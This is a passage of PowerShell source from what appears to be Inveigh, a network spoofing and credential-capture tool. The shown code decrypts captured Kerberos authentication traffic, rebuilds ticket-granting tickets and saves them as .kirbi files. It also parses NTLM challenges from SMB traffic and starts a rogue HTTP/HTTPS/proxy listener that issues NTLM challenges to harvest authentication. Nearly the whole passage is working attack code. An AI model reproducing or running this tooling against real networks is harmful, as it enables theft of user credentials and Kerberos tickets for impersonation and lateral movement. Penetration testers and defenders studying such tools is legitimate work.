3161 $ASN1_length += $ASN1[0] 3162 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 89)..($ASN1_length + $field_length + 94)] 3163 $ASN1_length += $ASN1[0] 3164 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 89)..($ASN1_length + $field_length + 94)] 3165 $ASN1_length += $ASN1[0] 3166 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 89)..($ASN1_length + $field_length + 94)] 3167 $ASN1_length += $ASN1[0] 3168 $kvno = $cleartext[($ASN1_length + $field_length + 88)] 3169 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 89)..($ASN1_length + $field_length + 94)] 3170 $ASN1_length += $ASN1[0] 3171 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 89)..($ASN1_length + $field_length + 94)] 3172 $ASN1_length += $ASN1[0] 3173 $cipher_length = $ASN1[1] 3174 [Byte[]]$cipher = $cleartext[($ASN1_length + $field_length + 89)..($ASN1_length + $field_length + $cipher_length + 88)] 3175 [Byte[]]$kirbi = 0x04,0x82 + [System.BitConverter]::GetBytes($cipher.Count)[1..0] + $cipher 3176 $kirbi = 0xA2,0x84 + [System.BitConverter]::GetBytes($kirbi.Count)[3..0] + $kirbi 3177 $kirbi = 0xA0,0x84,0x00,0x00,0x00,0x03,0x02,0x01,0x12,0xA1,0x84,0x00,0x00,0x00,0x03,0x02,0x01 + $kvno + $kirbi 3178 $kirbi = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi.Count)[3..0] + $kirbi 3179 $kirbi = 0xA3,0x84 + [System.BitConverter]::GetBytes($kirbi.Count)[3..0] + $kirbi 3180 [Byte[]]$kirbi2 = 0x30,0x84 + [System.BitConverter]::GetBytes($sname_string.Count)[3..0] + $sname_string 3181 $kirbi2 = 0xA1,0x84 + [System.BitConverter]::GetBytes($kirbi2.Count)[3..0] + $kirbi2 3182 $kirbi2 = 0xA0,0x84,0x00,0x00,0x00,0x03,0x02,0x01,0x02 + $kirbi2 3183 $kirbi2 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi2.Count)[3..0] + $kirbi2 3184 $kirbi2 = 0xA2,0x84 + [System.BitConverter]::GetBytes($kirbi2.Count)[3..0] + $kirbi2 3185 [Byte[]]$kirbi3 = 0xA1,0x84 + [System.BitConverter]::GetBytes($realm2.Count)[3..0] + $realm2 3186 $kirbi3 = 0xA0,0x84,0x00,0x00,0x00,0x03,0x02,0x01 + $tkt_vno + $kirbi3 3187 [Byte[]]$kirbi4 = $kirbi3 + $kirbi2 + $kirbi 3188 $kirbi4 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3189 $kirbi4 = 0x61,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3190 $kirbi4 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3191 $kirbi4 = 0xA2,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3192 $kirbi4 = 0xA1,0x84,0x00,0x00,0x00,0x03,0x02,0x01,0x16 + $kirbi4 3193 $kirbi4 = 0xA0,0x84,0x00,0x00,0x00,0x03,0x02,0x01 + $pvno + $kirbi4 3194 3195 return $kirbi4 3196 } 3197 3198 function Get-KirbiPartThree 3199 { 3200 param([Byte[]]$cleartext) 3201 3202 $ASN1 = Get-ASN1Length $cleartext[0..($ASN1_length + 5)] 3203 $ASN1_length = $ASN1[0] 3204 $ASN1 = Get-ASN1Length $cleartext[$ASN1_length..($ASN1_length + 5)] 3205 $ASN1_length += $ASN1[0] 3206 $ASN1 = Get-ASN1Length $cleartext[$ASN1_length..($ASN1_length + 5)] 3207 $ASN1_length += $ASN1[0] 3208 $ASN1 = Get-ASN1Length $cleartext[$ASN1_length..($ASN1_length + 5)] 3209 $ASN1_length += $ASN1[0] 3210 $ASN1 = Get-ASN1Length $cleartext[$ASN1_length..($ASN1_length + 5)] 3211 $ASN1_length += $ASN1[0] 3212 [Byte[]]$key = $cleartext[($ASN1_length + 11)..($ASN1_length + 44)] 3213 $prerealm_length = $cleartext[($ASN1_length + 46)] 3214 [Byte[]]$prerealm = $cleartext[($ASN1_length + 47)..($ASN1_length + $prerealm_length + 46)] 3215 $pname_length = $cleartext[($ASN1_length + $prerealm_length + 59)] 3216 $field_length = $prerealm_length + $pname_length 3217 [Byte[]]$pname = $cleartext[($ASN1_length + $prerealm_length + 60)..($ASN1_length + $field_length + 59)] 3218 [Byte[]]$flags = $cleartext[($ASN1_length + $field_length + 65)..($ASN1_length + $field_length + 68)] 3219 [Byte[]]$starttime = $cleartext[($ASN1_length + $field_length + 71)..($ASN1_length + $field_length + 87)] 3220 [Byte[]]$endtime = $cleartext[($ASN1_length + $field_length + 90)..($ASN1_length + $field_length + 106)] 3221 [Byte[]]$renew_till = $cleartext[($ASN1_length + $field_length + 109)..($ASN1_length + $field_length + 125)] 3222 $srealm_length = $cleartext[($ASN1_length + $field_length + 127)] 3223 [Byte[]]$srealm = $cleartext[($ASN1_length + $field_length + 128)..($ASN1_length + $field_length + $srealm_length + 127)] 3224 $field_length += $srealm_length 3225 $sname_string_length = $cleartext[($ASN1_length + $field_length + 140)] 3226 [Byte[]]$sname_string = $cleartext[($ASN1_length + $field_length + 141)..($ASN1_length + $field_length + $sname_string_length + 140)] 3227 [Byte[]]$kirbi = 0x30,0x84 + [System.BitConverter]::GetBytes($sname_string.Count)[3..0] + $sname_string 3228 $kirbi = 0xA1,0x84 + [System.BitConverter]::GetBytes($kirbi.Count)[3..0] + $kirbi 3229 $kirbi = 0xA0,0x84,0x00,0x00,0x00,0x03,0x02,0x01,0x02 + $kirbi 3230 $kirbi = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi.Count)[3..0] + $kirbi 3231 $kirbi = 0xA9,0x84 + [System.BitConverter]::GetBytes($kirbi.Count)[3..0] + $kirbi 3232 $kirbi = 0xA8,0x84 + [System.BitConverter]::GetBytes($srealm.Count)[3..0] + $srealm + $kirbi 3233 $kirbi = 0xA7,0x84 + [System.BitConverter]::GetBytes($renew_till.Count)[3..0] + $renew_till + $kirbi 3234 $kirbi = 0xA6,0x84 + [System.BitConverter]::GetBytes($endtime.Count)[3..0] + $endtime + $kirbi 3235 $kirbi = 0xA5,0x84 + [System.BitConverter]::GetBytes($starttime.Count)[3..0] + $starttime + $kirbi 3236 $kirbi = 0xA3,0x84,0x00,0x00,0x00,0x07,0x03,0x05,0x00 + $flags + $kirbi 3237 [Byte[]]$kirbi2 = 0x30,0x84 + [System.BitConverter]::GetBytes($pname.Count)[3..0] + $pname 3238 $kirbi2 = 0xA1,0x84 + [System.BitConverter]::GetBytes($kirbi2.Count)[3..0] + $kirbi2 3239 $kirbi2 = 0xA0,0x84,0x00,0x00,0x00,0x03,0x02,0x01,0x01 + $kirbi2 3240 $kirbi2 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi2.Count)[3..0] + $kirbi2 3241 $kirbi2 = 0xA2,0x84 + [System.BitConverter]::GetBytes($kirbi2.Count)[3..0] + $kirbi2 3242 $kirbi2 = 0xA1,0x84 + [System.BitConverter]::GetBytes($prerealm.Count)[3..0] + $prerealm + $kirbi2 3243 [Byte[]]$kirbi3 = 0xA1,0x84 + [System.BitConverter]::GetBytes($key.Count)[3..0] + $key 3244 $kirbi3 = 0xA0,0x84,0x00,0x00,0x00,0x03,0x02,0x01,0x12 + $kirbi3 3245 $kirbi3 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi3.Count)[3..0] + $kirbi3 3246 $kirbi3 = 0xA0,0x84 + [System.BitConverter]::GetBytes($kirbi3.Count)[3..0] + $kirbi3 3247 [Byte[]]$kirbi4 = $kirbi3 + $kirbi2 + $kirbi 3248 $kirbi4 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3249 $kirbi4 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3250 $kirbi4 = 0xA0,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3251 $kirbi4 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3252 $kirbi4 = 0x7D,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3253 $kirbi4 = 0x04,0x82 + [System.BitConverter]::GetBytes($kirbi4.Count)[1..0] + $kirbi4 3254 $kirbi4 = 0xA2,0x84 + [System.BitConverter]::GetBytes($kirbi4.Count)[3..0] + $kirbi4 3255 $kirbi4 = 0xA0,0x84,0x00,0x00,0x00,0x03,0x02,0x01,0x00 + $kirbi4 3256 $kirbi4 = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi4.count)[3..0] + $kirbi4 3257 $kirbi4 = 0xA3,0x84 + [System.BitConverter]::GetBytes($kirbi4.count)[3..0] + $kirbi4 3258 3259 return $kirbi4 3260 } 3261 3262 function New-KerberosKirbi 3263 { 3264 param([Byte[]]$data,[Byte[]]$base_key,[String]$service,[String]$service_port,[String]$session) 3265 3266 $apreq_converted = [System.BitConverter]::ToString($data) 3267 $apreq_converted = $apreq_converted -replace "-","" 3268 $ASN1_index = $apreq_converted.IndexOf("A003020112A1030201") 3269 3270 if($ASN1_index -ge 0) 3271 { 3272 $ASN1 = Get-ASN1Length $data[($ASN1_index / 2 + 10)..($ASN1_index / 2 + 15)] 3273 $ASN1_length = $ASN1[0] 3274 $ASN1 = Get-ASN1Length $data[($ASN1_index / 2 + $ASN1_length + 10)..($ASN1_index / 2 + $ASN1_length + 15)] 3275 $ASN1_length += $ASN1[0] 3276 $cipher_length = $ASN1[1] 3277 [Byte[]]$cipher = $data[($ASN1_index / 2 + $ASN1_length + 10)..($ASN1_index / 2 + $ASN1_length + $cipher_length + 9)] 3278 [Byte[]]$ke_key = Get-KerberosAES256UsageKey encrypt 2 $base_key 3279 [Byte[]]$cleartext = Unprotect-Kerberos $ke_key $cipher[0..($cipher.Count - 13)] 3280 $cleartext = $cleartext[16..$cleartext.Count] 3281 $cleartext_converted = [System.BitConverter]::ToString($cleartext) 3282 $cleartext_converted = $cleartext_converted -replace "-","" 3283 $ASN1_index = $cleartext_converted.IndexOf("A003020112A1") 3284 3285 if($ASN1_index -ge 0) 3286 { 3287 [Byte[]]$session_key = $cleartext[30..61] 3288 [Byte[]]$ke_key = Get-KerberosAES256UsageKey encrypt 11 $session_key 3289 $ASN1_index = $apreq_converted.IndexOf("A003020112A2") 3290 3291 if($ASN1_index -ge 0) 3292 { 3293 $ASN1 = Get-ASN1Length $data[($ASN1_index / 2 + 5)..($ASN1_index / 2 + 10)] 3294 $ASN1_length = $ASN1[0] 3295 $ASN1 = Get-ASN1Length $data[($ASN1_index / 2 + $ASN1_length + 5)..($ASN1_index / 2 + $ASN1_length + 10)] 3296 $ASN1_length += $ASN1[0] 3297 $cipher_length = $ASN1[1] 3298 [Byte[]]$cipher = $data[($ASN1_index / 2 + $ASN1_length + 5)..($ASN1_index / 2 + $ASN1_length + $cipher_length + 4)] 3299 [Byte[]]$cleartext = Unprotect-Kerberos $ke_key $cipher[0..($cipher.Count - 13)] 3300 [Byte[]]$ke_key = Get-KerberosAES256UsageKey encrypt 14 $session_key 3301 $cleartext = $cleartext[16..$cleartext.Count] 3302 [Byte[]]$kirbi2 = Get-KirbiPartTwo $cleartext 3303 $ASN1 = Get-ASN1Length $cleartext[4..9] 3304 $ASN1_length = $ASN1[0] 3305 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + 4)..($ASN1_length + 9)] 3306 $ASN1_length += $ASN1[0] 3307 $realm_length = $cleartext[($ASN1_length + 7)] 3308 $realm = Convert-DataToString 0 $realm_length $cleartext[($ASN1_length + 8)..($ASN1_length + $realm_length + 7)] 3309 $username_length = $cleartext[($ASN1_length + $realm_length + 22)] 3310 $username = Convert-DataToString 0 $username_length $cleartext[($ASN1_length + $realm_length + 23)..($ASN1_length + $realm_length + $username_length + 22)] 3311 $cleartext_converted = [System.BitConverter]::ToString($cleartext) 3312 $cleartext_converted = $cleartext_converted -replace "-","" 3313 $ASN1_index = $cleartext_converted.IndexOf("A003020112A2") 3314 3315 if($ASN1_index -ge 0) 3316 { 3317 $ASN1 = Get-ASN1Length $cleartext[($ASN1_index / 2 + 5)..($ASN1_index / 2 + 10)] 3318 $ASN1_length = $ASN1[0] 3319 $ASN1 = Get-ASN1Length $cleartext[($ASN1_index / 2 + $ASN1_length + 5)..($ASN1_index / 2 + $ASN1_length + 10)] 3320 $ASN1_length += $ASN1[0] 3321 $cipher_length = $ASN1[1] 3322 [Byte[]]$cipher = $cleartext[($ASN1_index / 2 + $ASN1_length + 5)..($ASN1_index / 2 + $ASN1_length + $cipher_length + 4)] 3323 [Byte[]]$cleartext = Unprotect-Kerberos $ke_key $cipher[0..($cipher.Count - 13)] 3324 $cleartext = $cleartext[16..$cleartext.Count] 3325 [Byte[]]$kirbi3 = Get-KirbiPartThree $cleartext 3326 [Byte[]]$kirbi = Get-Kirbi $kirbi2 $kirbi3 3327 3328 if($username -notmatch '[^\x00-\x7F]+' -and $realm -notmatch '[^\x00-\x7F]+') 3329 { 3330 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $service($service_port) Kerberos TGT captured for $username@$realm from $session") > $null 3331 $inveigh.kerberos_TGT_list.Add($kirbi) > $null 3332 $inveigh.kerberos_TGT_username_list.Add("$source_IP $username $realm $($inveigh.kerberos_TGT_list.Count - 1)") > $null 3333 $kirbi_count = ($inveigh.kerberos_TGT_username_list -like "* $username $realm *").Count 3334 } 3335 3336 if($kirbi_count -le $KerberosCount) 3337 { 3338 3339 try 3340 { 3341 $krb_path = $output_directory + "\$username@$realm-TGT-$(Get-Date -format MMddhhmmssffff).kirbi" 3342 $krb_file = New-Object System.IO.FileStream $krb_path,'Append','Write','Read' 3343 $krb_file.Write($kirbi,0,$kirbi.Count) 3344 $krb_file.close() 3345 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $service($service_port) Kerberos TGT for $username@$realm written to $krb_path") > $null 3346 } 3347 catch 3348 { 3349 $error_message = $_.Exception.Message 3350 $error_message = $error_message -replace "`n","" 3351 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 3352 } 3353 3354 } 3355 3356 } 3357 else 3358 { 3359 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $service($service_port) Kerberos TGT not found from $session") > $null 3360 } 3361 3362 } 3363 else 3364 { 3365 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $service($service_port) Kerberos autenticator not found from $sessiont") > $null 3366 } 3367 3368 } 3369 else 3370 { 3371 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $service($service_port) Kerberos failed to decrypt capture from $session") > $null 3372 } 3373 3374 } 3375 else 3376 { 3377 3378 if($apreq_converted -like "*A0030201??A1030201*") 3379 { 3380 3381 if($apreq_converted -like "*A003020111A1030201*") 3382 { 3383 $encryption_type = "AES128-CTS-HMAC-SHA1-96" 3384 } 3385 elseif($apreq_converted -like "*A003020117A1030201*") 3386 { 3387 $encryption_type = "RC4-HMAC" 3388 } 3389 elseif($apreq_converted -like "*A003020118A1030201*") 3390 { 3391 $encryption_type = "RC4-HMAC-EXP" 3392 } 3393 elseif($apreq_converted -like "*A003020103A1030201*") 3394 { 3395 $encryption_type = "DES-CBC-MD5" 3396 } 3397 elseif($apreq_converted -like "*A003020101A1030201*") 3398 { 3399 $encryption_type = "DES-CBC-CRC" 3400 } 3401 3402 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $service($service_port) Kerberos unsupported encryption type $encryption_type from $session") > $null 3403 } 3404 else 3405 { 3406 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $service($service_port) Kerberos failed to extract AS-REQ from $session") > $null 3407 } 3408 3409 } 3410 3411 } 3412 3413 } 3414 3415 # SMB Functions ScriptBlock - function for parsing NTLM challenge/response 3416 $SMB_functions_scriptblock = 3417 { 3418 3419 function Get-SMBConnection 3420 { 3421 param ([Byte[]]$Payload,[String]$SnifferIP,[String]$SourceIP,[String]$DestinationIP,[String]$SourcePort,[String]$SMBPort) 3422 3423 $payload_converted = [System.BitConverter]::ToString($Payload) 3424 $payload_converted = $payload_converted -replace "-","" 3425 $session = "$SourceIP`:$SourcePort" 3426 $session_outgoing = "$DestinationIP`:$SMBPort" 3427 $SMB_index = $payload_converted.IndexOf("FF534D42") 3428 3429 if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 8),2) -eq "72" -and $SourceIP -ne $SnifferIP) 3430 { 3431 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($SMBPort) negotiation request detected from $session") > $null 3432 } 3433 elseif(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 8),2) -eq "72" -and $SourceIP -eq $SnifferIP) 3434 { 3435 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($SourcePort) outgoing negotiation request detected to $session_outgoing") > $null 3436 } 3437 3438 if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0) 3439 { 3440 $inveigh.SMB_session_table.Add($Session,"") 3441 } 3442 3443 $SMB_index = $payload_converted.IndexOf("FE534D42") 3444 3445 if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 24),4) -eq "0000" -and $SourceIP -ne $SnifferIP) 3446 { 3447 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($SMBPort) negotiation request detected from $session") > $null 3448 } 3449 elseif(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 24),4) -eq "0000" -and $SourceIP -eq $SnifferIP) 3450 { 3451 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($SourcePort) outgoing negotiation request detected to $session_outgoing") > $null 3452 } 3453 3454 if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0) 3455 { 3456 $inveigh.SMB_session_table.Add($Session,"") 3457 } 3458 3459 $SMB_index = $payload_converted.IndexOf("2A864886F7120102020100") 3460 3461 if($SMB_index -gt 0 -and $SourceIP -ne $SnifferIP) 3462 { 3463 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($SMBPort) authentication method is Kerberos for $session") > $null 3464 3465 if($Kerberos -eq 'Y') 3466 { 3467 $kerberos_length = Get-UInt16DataLength 0 $Payload[82..83] 3468 $kerberos_length -= $SMB_index / 2 3469 $kerberos_data = $Payload[($SMB_index/2)..($SMB_index/2 + $Payload.Count)] 3470 } 3471 3472 } 3473 elseif($SMB_index -gt 0 -and $SourceIP -eq $SnifferIP) 3474 { 3475 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($SourcePort) outgoing authentication method is Kerberos to $session_outgoing") > $null 3476 3477 if($Kerberos -eq 'Y') 3478 { 3479 $kerberos_length = Get-UInt16DataLength 0 $Payload[82..83] 3480 $kerberos_length -= $SMB_index / 2 3481 $kerberos_data = $Payload[($SMB_index/2)..($SMB_index/2 + $Payload.Count)] 3482 } 3483 3484 } 3485 3486 return $kerberos_length,$kerberos_data 3487 } 3488 3489 function Get-SMBNTLMChallenge 3490 { 3491 param ([Byte[]]$Payload) 3492 3493 $payload_converted = [System.BitConverter]::ToString($Payload) 3494 $payload_converted = $payload_converted -replace "-","" 3495 $NTLM_index = $payload_converted.IndexOf("4E544C4D53535000") 3496 3497 if($NTLM_index -gt 0) 3498 { 3499 3500 if($payload_converted.SubString(($NTLM_index + 16),8) -eq "02000000") 3501 { 3502 $NTLM_challenge = $payload_converted.SubString(($NTLM_index + 48),16) 3503 } 3504 3505 $target_name_length = Get-UInt16DataLength (($NTLM_index + 24) / 2) $Payload 3506 $negotiate_flags = [System.Convert]::ToInt16(($payload_converted.SubString(($NTLM_index + 44),2)),16) 3507 $negotiate_flags = [Convert]::ToString($negotiate_flags,2) 3508 $target_info_flag = $negotiate_flags.SubString(0,1) 3509 3510 if($target_info_flag -eq 1) 3511 { 3512 $target_info_index = ($NTLM_index + 80) / 2 3513 $target_info_index = $target_info_index + $target_name_length + 16 3514 $target_info_item_type = $Payload[$target_info_index] 3515 $i = 0 3516 3517 while($target_info_item_type -ne 0 -and $i -lt 10) 3518 { 3519 $target_info_item_length = Get-UInt16DataLength ($target_info_index + 2) $Payload 3520 3521 switch($target_info_item_type) 3522 { 3523 3524 2 3525 { 3526 $netBIOS_domain_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload 3527 } 3528 3529 3 3530 { 3531 $DNS_computer_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload 3532 } 3533 3534 4 3535 { 3536 $DNS_domain_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload 3537 } 3538 3539 } 3540 3541 $target_info_index = $target_info_index + $target_info_item_length + 4 3542 $target_info_item_type = $Payload[$target_info_index] 3543 $i++ 3544 } 3545 3546 if($netBIOS_domain_name -and $DNS_domain_name -and !$inveigh.domain_mapping_table.$netBIOS_domain_name -and $netBIOS_domain_name -ne $DNS_domain_name) 3547 { 3548 $inveigh.domain_mapping_table.Add($netBIOS_domain_name,$DNS_domain_name) 3549 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] Domain mapping added for $netBIOS_domain_name to $DNS_domain_name") > $null 3550 } 3551 3552 for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) 3553 { 3554 3555 if($inveigh.enumerate[$i].IP -eq $target -and !$inveigh.enumerate[$i].Hostname) 3556 { 3557 $inveigh.enumerate[$i].Hostname = $DNS_computer_name 3558 $inveigh.enumerate[$i]."DNS Domain" = $DNS_domain_name 3559 $inveigh.enumerate[$i]."netBIOS Domain" = $netBIOS_domain_name 3560 break 3561 } 3562 3563 } 3564 3565 } 3566 3567 } 3568 3569 return $NTLM_challenge 3570 } 3571 3572 } 3573 3574 # HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener 3575 $HTTP_scriptblock = 3576 { 3577 param ($Challenge,$Kerberos,$KerberosCount,$KerberosCredential,$KerberosHash,$KerberosHostHeader,$HTTPAuth, 3578 $HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDirectory,$HTTPResponse, 3579 $HTTPS_listener,$IP,$NBNSBruteForcePause,$output_directory,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth, 3580 $WPADAuthIgnore,$WPADResponse) 3581 3582 function Get-NTLMChallengeBase64 3583 { 3584 param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort) 3585 3586 $HTTP_timestamp = Get-Date 3587 $HTTP_timestamp = $HTTP_timestamp.ToFileTime() 3588 $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) 3589 $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3590 3591 if($Challenge) 3592 { 3593 $HTTP_challenge = $Challenge 3594 $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') 3595 $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3596 } 3597 else 3598 { 3599 $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) 3600 $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' 3601 $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3602 } 3603 3604 if($NTLMESS) 3605 { 3606 $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x89,0x0a 3607 } 3608 else 3609 { 3610 $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x81,0x0a 3611 } 3612 3613 if(!$inveigh.HTTP_session_table.ContainsKey("$ClientIPAddress`:$ClientPort")) 3614 { 3615 $inveigh.HTTP_session_table.Add("$ClientIPAddress`:$ClientPort",$HTTP_challenge) 3616 } 3617 else 3618 { 3619 $inveigh.HTTP_session_table["$ClientIPAddress`:$ClientPort"] = $HTTP_challenge 3620 } 3621 3622 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] $HTTP_type($HTTPPort) NTLM challenge $HTTP_challenge sent to $HTTP_source_IP`:$HTTP_source_port") > $null 3623 $hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.computer_name) 3624 $netBIOS_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.netBIOS_domain) 3625 $DNS_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.DNS_domain) 3626 $DNS_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.DNS_computer_name) 3627 $hostname_length = [System.BitConverter]::GetBytes($hostname_bytes.Length)[0,1] 3628 $netBIOS_domain_length = [System.BitConverter]::GetBytes($netBIOS_domain_bytes.Length)[0,1] 3629 $DNS_domain_length = [System.BitConverter]::GetBytes($DNS_domain_bytes.Length)[0,1] 3630 $DNS_hostname_length = [System.BitConverter]::GetBytes($DNS_hostname_bytes.Length)[0,1] 3631 $target_length = [System.BitConverter]::GetBytes($hostname_bytes.Length + $netBIOS_domain_bytes.Length + $DNS_domain_bytes.Length + $DNS_domain_bytes.Length + $DNS_hostname_bytes.Length + 36)[0,1] 3632 $target_offset = [System.BitConverter]::GetBytes($netBIOS_domain_bytes.Length + 56) 3633 3634 $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + 3635 $netBIOS_domain_length + 3636 $netBIOS_domain_length + 3637 0x38,0x00,0x00,0x00 + 3638 $HTTP_NTLM_negotiation_flags + 3639 $HTTP_challenge_bytes + 3640 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + 3641 $target_length + 3642 $target_length + 3643 $target_offset + 3644 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f + 3645 $netBIOS_domain_bytes + 3646 0x02,0x00 + 3647 $netBIOS_domain_length + 3648 $netBIOS_domain_bytes + 3649 0x01,0x00 + 3650 $hostname_length + 3651 $hostname_bytes + 3652 0x04,0x00 + 3653 $DNS_domain_length + 3654 $DNS_domain_bytes + 3655 0x03,0x00 + 3656 $DNS_hostname_length + 3657 $DNS_hostname_bytes + 3658 0x05,0x00 + 3659 $DNS_domain_length + 3660 $DNS_domain_bytes + 3661 0x07,0x00,0x08,0x00 + 3662 $HTTP_timestamp + 3663 0x00,0x00,0x00,0x00,0x0a,0x0a 3664 3665 $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) 3666 $NTLM = "NTLM " + $NTLM_challenge_base64 3667 3668 return $NTLM 3669 } 3670 3671 if($HTTPS_listener) 3672 { 3673 $HTTP_type = "HTTPS" 3674 } 3675 elseif($proxy_listener) 3676 { 3677 $HTTP_type = "Proxy" 3678 } 3679 else 3680 { 3681 $HTTP_type = "HTTP" 3682 } 3683 3684 if($HTTPIP -ne '0.0.0.0') 3685 { 3686 $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) 3687 $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) 3688 } 3689 else 3690 { 3691 $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any,$HTTPPort) 3692 } 3693 3694 $HTTP_running = $true 3695 $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint 3696 3697 if($proxy_listener) 3698 { 3699 $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) 3700 $HTTP_listener.Server.LingerState = $HTTP_linger 3701 } 3702 3703 try 3704 { 3705 $HTTP_listener.Start() 3706 } 3707 catch 3708 { 3709 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") > $null 3710 $error_message = $_.Exception.Message 3711 $error_message = $error_message -replace "`n","" 3712 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 3713 $HTTP_running = $false 3714 } 3715 3716 if($Kerberos -eq 'Y') 3717 { 3718 3719 if($KerberosHash) 3720 { 3721 $kerberos_base_key = (&{for ($i = 0;$i -lt $KerberosHash.Length;$i += 2){$KerberosHash.SubString($i,2)}}) -join "-" 3722 $kerberos_base_key = $kerberos_base_key.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3723 } 3724 elseif($KerberosCredential) 3725 { 3726 $kerberos_base_key = Get-KerberosAES256BaseKey ($KerberosCredential.UserName).Trim("\") $KerberosCredential.Password 3727 } 3728 3729 } 3730 3731 :HTTP_listener_loop while($inveigh.running -and $HTTP_running) 3732 { 3733 $TCP_request = $null 3734 $TCP_request_bytes = New-Object System.Byte[] 8192 3735 $HTTP_send = $true 3736 $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: text/html") 3737 $HTTP_header_cache_control = $null 3738 $HTTP_header_authenticate = $null 3739 $HTTP_header_authenticate_data = $null 3740 $HTTP_message = '' 3741 $HTTP_header_authorization = '' 3742 $HTTP_header_host = $null 3743 $HTTP_header_user_agent = $null 3744 $HTTP_request_raw_URL 